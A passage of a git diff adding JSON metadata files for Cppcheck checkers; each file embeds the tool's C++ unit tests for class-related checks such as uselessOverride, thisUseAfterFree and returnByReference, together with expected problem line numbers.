delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkExplicitConstructors.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkExplicitConstructors.json new file mode 100644 index 0000000..29b8930 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkExplicitConstructors.json @@ -0,0 +1,22 @@ +{ + "name": "checkExplicitConstructors", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 36, + "branches": 11, + "apis": 28, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 374 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n 